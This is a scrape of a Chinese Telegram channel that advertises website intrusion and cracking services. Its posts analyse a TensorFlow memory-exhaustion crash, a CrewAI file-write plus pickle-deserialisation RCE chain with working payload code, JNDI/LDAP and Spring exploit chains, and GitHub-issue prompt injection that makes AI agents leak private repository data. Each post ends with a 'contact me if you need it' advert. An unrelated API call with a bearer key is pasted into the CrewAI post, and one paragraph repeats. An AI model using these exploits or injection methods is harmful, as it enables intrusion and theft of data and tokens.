黑客网站渗透入侵破解拿权限
10.7K subscribers
2.77K photos
132 links
Download Telegram
OP_REQUIRES failed at sparse_to_dense_op.cc:120 : RESOURCE_EXHAUSTED: OOM when allocating tensor”:定位OOM错误的最终触发点为sparse_to_dense_op.cc第120行,结合源码可知,该位置为算子Compute方法中调用内存分配后的状态校验(OP_REQUIRES宏)。这表明上游CPUAllocator::AllocateRaw分配失败后返回nullptr,而算子层未对返回值进行nullptr校验,直接触发RESOURCE_EXHAUSTED错误;

“OOM when allocating tensor with shape[1000000000,1000000000] and type float on /device:CPU:0”:明确崩溃原因是“为指定形状和数据类型的张量分配内存时OOM”,而非计算逻辑错误,直接佐证漏洞本质是“内存安全防护缺失”,而非算子功能逻辑缺陷。

漏洞触发链完整拆解


漏洞的完整触发逻辑可梳理为以下五步:

1. 输入构造:攻击者构造格式合法但内存需求超大的参数(如output_shape=[10⁹, 10⁹]),确保索引、稀疏值等参数符合格式要求;

2. 校验穿透:CheckSparseToDenseShapes 函数仅校验参数格式,未评估内存需求,直接放行超大形状参数;

3. 形状构造:MakeShapeHelper 函数仅校验维度数值合法性(未超int64_t上限),成功构造超大TensorShape对象;

4. 分配失败:CPUAllocator::AllocateRaw 函数仅打印警告未拦截,尝试分配超大内存,最终分配失败返回nullptr;

5. 系统兜底:上游逻辑未校验nullptr,直接使用无效指针,或系统因内存耗尽触发OOM killer,导致程序崩溃。

格式校验层:新增内存预评估


修改 tensorflow/core/kernels/sparse_to_dense_op.cc 的 CheckSparseToDenseShapes 函数,在原有格式校验基础上新增内存预评估逻辑,超过安全阈值则直接返回错误

//CheckSparseToDenseShapes(内存预评估)
Status CheckSparseToDenseShapes(const Tensor& indices,
const Tensor& output_shape,
const Tensor& sparse_values,
const Tensor& default_value) {

// 计算总元素数,防护int64_t溢出
int64_t total_elements = 1;
auto output_shape_flat = output_shape.flat<int64_t>();
for (int i = 0; i < output_shape_flat.size(); ++i) {
int64_t dim = output_shape_flat(i);
if (dim > 0 && total_elements > (INT64_MAX / dim)) {
return errors::ResourceExhausted("Output shape too large: product exceeds int64_t limit");
}
total_elements *= dim;
}

if (total_elements > kMaxSafeElements || required_memory > (2LL << 30)) {
return errors::ResourceExhausted(
"Output shape exceeds safe limit: elements(", total_elements, "), memory(", required_memory >> 20, "MB)");
}

return OkStatus();
}

修改tensorflow/core/framework/tensor_shape.cc 的 MakeShapeHelper 函数,新增与校验层一致的安全阈值,避免校验层遗漏的风险

内存分配层:新增主动拦截

修改 tensorflow/tsl/framework/cpu_allocator_impl.cc 的 CPUAllocator::AllocateRaw 函数,新增“超过空闲内存50%则拒绝分配”的逻辑,作为最后一道防护线

#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
👍2❤1
CrewAI FileWriterTool + PickleHandler 组合漏洞链 RCE 漏洞分析

CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。

这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。

1curl --location 'http://ai-api.jdcloud.com/v1/chat/completions' \
2--header 'Authorization: Bearer pk-6f6c6dc5-010a-44d7-bb2c-cc2c60410ca8' \
3--header 'Content-Type: application/json' \
4--data '{
5 "model": "Gemini-2.5-pro",
6 "messages": [
7 {
8 "role": "user",
9 "content": "世界最长的河流是什么?"
10 }
11 ],
12 "thinking_budget":1024 (非必填),
13 "max_tokens": 1000(非必填),
14 "thinking":true,
15 "stream":false
16 }'

用 FileWriterTool 写入恶意 pickle 文件

FileWriterTool 使用文本模式 (mode="w") 写入文件,而 pickle 通常是二进制格式。我们试试用 pickle 协议 0 生成 ASCII 格式的 payload,看能不能绕过这个限制。
1 import pickle
2 import os
3
4 class MaliciousPayload:
5 def __reduce__(self):
6 return (os.system, ('echo RCE_SUCCESS > /tmp/test.txt',))
7
8 # 使用协议 0 生成 ASCII pickle
9 pickle_bytes = 10pickle.dumps(MaliciousPayload(), 11protocol=0)
12pickle_str = 13pickle_bytes.decode('latin-1')
14
15 print(f"Pickle payload: 16{repr(pickle_str)}")

协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了

1from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool
2
3# 生成恶意 pickle payload
4malicious_pickle = 'cposix\nsystem\np0\n(Vecho "RCE_EXECUTED" > /tmp/rce_marker.txt\np1\ntp2\nRp3\n.'
5
6# 写入到攻击目录
7file_writer = FileWriterTool()
8result = file_writer.run(
9 directory="/tmp/attack",
10 filename="malicious.pkl",
11 content=malicious_pickle,
12 overwrite=True
13)
14
15print(result)
16# 输出: Content successfully written to /tmp/attack/malicious.pkl
FileWriterTool 没有任何路径限制,可以写入任意目录,写 pkl 文件无问题

1import os
2from crewai.utilities.file_handler import PickleHandler
3
4# 假设当前工作目录是 /tmp/work,恶意文件在 /tmp/attack/malicious.pkl
5os.chdir("/tmp/work")
6
7# 路径穿越加载恶意 pickle
8handler = PickleHandler("../attack/malicious.pkl")
9
10# 加载时触发 RCE
11data = handler.load()
12
13# 检查 RCE 是否成功
14if os.path.exists("/tmp/rce_marker.txt"):
15 with open("/tmp/rce_marker.txt", "r") as f:
16 print(f"RCE 成功! 内容: {f.read()}")

pickle.load() 反序列化时会执行 __reduce__ 方法中的代码,实现任意命令执行

#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
级联故障

单个问题(如幻觉、毒化)在Agentic网络中传播并放大的风险。由于Agentic能够自主委派,一个错误可以迅速引发连锁反应,导致系统性瘫痪。

例如Github公开Issue投毒触发以致攻击者可跨仓库

攻击者可以在公共存储库中创建一个恶意问题,其中包含一个恶意提示,等待Agentic进行交互。

实际攻击会在 GitHub 帐户的用户和所有者向其Agentic发出良性请求时触发,例如查看/public-repo中的未解决问题,这将导致Agentic从公共存储库中获取问题并被注入。

一旦Agentic遇到恶意GitHub问题,它就会被迫将私有存储库数据提取到上下文中,并在公共存储库中自动创建PR中将其泄露,攻击者或任何其他人都可以自由访问该PR。

而把整个攻击过程放大看,会出现典型的级联故障:

● 投毒:恶意提示进入Agentic上下文,成为规划输入。Agentic把投毒内容解释为任务的一部分并制定多步操作计划,这一步往往带有幻觉特征,例如错误地相信某些读取行为是必要且被授权的。这里的幻觉不一定是模型编造事实,而是对投毒过程编造合理性。

● 工具链放大:一旦计划进入工具调用,影响从文本层升级为系统层读写与权限使用。外泄数据如果被写回到公开评论、PR描述、构建日志、工单系统,就会反过来污染更多人的上下文与后续自动化流程,形成循环式传播。

人与Agentic信任利用

Agentic利用其拟人化特征和权威性来迷惑人类用户的风险。这是一种针对人的攻击,利用用户的过度信任来绕过安全检查。例如CoPhish,攻击者利用Microsoft Copilot Studio,来分发和隐藏 OAuth 钓鱼攻击,从而窃取用户的访问令牌。
攻击者不在一开始就发送恶意的钓鱼链接,而是创建一个合法的 Microsoft Copilot Studio Agentic。由于该Agentic托管在微软官方域名copilotstudio.microsoft.com上,且界面与官方Copilot服务高度相似,用户极易放松警惕。

针对普通员工: 诱导用户授予看似无害但敏感的权限(如读取邮件Mail.ReadWrite或笔记 Notes.ReadWrite),而造成用户的敏感信息泄露。

Agentic利用其拟人化特征和权威性来迷惑人类用户的风险。这是一种针对人的攻击,利用用户的过度信任来绕过安全检查。例如CoPhish,攻击者利用Microsoft Copilot Studio,来分发和隐藏 OAuth 钓鱼攻击,从而窃取用户的访问令牌。
攻击者不在一开始就发送恶意的钓鱼链接,而是创建一个合法的 Microsoft Copilot Studio Agentic。由于该Agentic托管在微软官方域名copilotstudio.microsoft.com上,且界面与官方Copilot服务高度相似,用户极易放松警惕。

#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
高版本绕过

我们将不能再加载远程类,这时我们又该如何利用呢
在关键步骤中
核心的数据都是源于 obj 对象,而我们的 obj 对象如下获取的,我们跟踪 decodeObject 方法,看看是否可以破局
这里主要说打本地工厂类

一共有三种类型

而第一个就是我们的以前 ldap 返回反序列化数据的打法

看到decodeRmiObject

跟进这个方法

返回了一个 Reference 对象,传入的是 classname 和 addr

然后来到 c_lookup 的

跟进,其实也就是我们 jndi 的 sink 点

首先判断我们的 obj 是不是 Reference 类型,如果是就看有没有工厂类,如果没有就看有没有远程的地址,这里我们是可以控制的,所以可以打一个低版本的 jndi 注入

看到decodeReference

这个没有!VersionHelper.isSerialDataAllowed()的限制

这里我们可以传入 Attributes attrs

可以看到依次从我们的 attrs 获取工厂类那些属性
#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
JNDI高版本新思路利用LDAP

遇到高版本java,但是目标又只能打JNDI,实战中10个jndi,8个都是这种情况,因为jdk版本限制得太死了,不过好在我们有绕过的手法

目前就两个

RMI打本地工厂类

LDAP 高版本一直以来都是打的返回反序列化数据

LDAP+JNDI 介绍

漏洞复现

首先我们需要熟悉利用 LDAP 协议的一个基础流程

我们看看低版本是如何利用的

可以使用 java 代码构建一个 ldap 服务

当然为了更方便,我们可以使用工具来起一个 ldap 的服务

弹出计算器

服务端发送我们的恶意代码

#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
❤1
Spring最新原生无任何依赖RCE新链子

环境搭建

这里直接本地复现了,当然到时候也去 fofa 搞个站看看效果

链子思路

首先我们 sink 点,都使用原生了,只能是 TemplatesImpl 了,但是我们都知道在高版本的 JDK,这条链子根本打不了

模块化机制的限制

可以看到失败了,我们可以分析一下原因


总结一下就是检查某个类的字段或方法是否允许通过反射设置为可访问(setAccessible),目前只有

调用方与目标类在同一模块
目标模块是否对调用方导出或开放包
目标类与成员的修饰符(public/protected/static)及继承关系等条件

才能够反射去修改了

#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
👍2
使用 Specops Deploy 的管理员,您可能有过以下经历:当您在本地计算机上尝试部署应用程序时,可以毫无问题地部署它,但当您尝试部署它时,似乎无法让它工作。这篇博客文章可能会对您的问题有所启发。

使用 Specops Deploy 部署应用程序时,本地系统是执行安装的帐户。为了确保您的应用程序以与 Specops Deploy App 完全相同的方式安装,您需要充当本地系统帐户。为此,我推荐使用 Sysinternals 的一款名为PsExec.exe的小工具

从 PsTools解压内容并将 PsExec.exe 复制到 C:\Windows\System32
以管理员身份打开命令提示符并输入以下命令:
PsExec.exe -s -i cmd.exe
复制
通过使用 PsExec.exe,您将在系统上下文中打开新的命令提示符,并且执行所有操作的帐户将是本地系统帐户。这是 Specops Deploy App 在安装应用程序时使用的相同帐户。

#网站渗透 #黑客编程技术
#软件渗透 #提取数据
#网站权限 #网站入侵破解
有需求的找我
@MoA_Ke
❤2👍1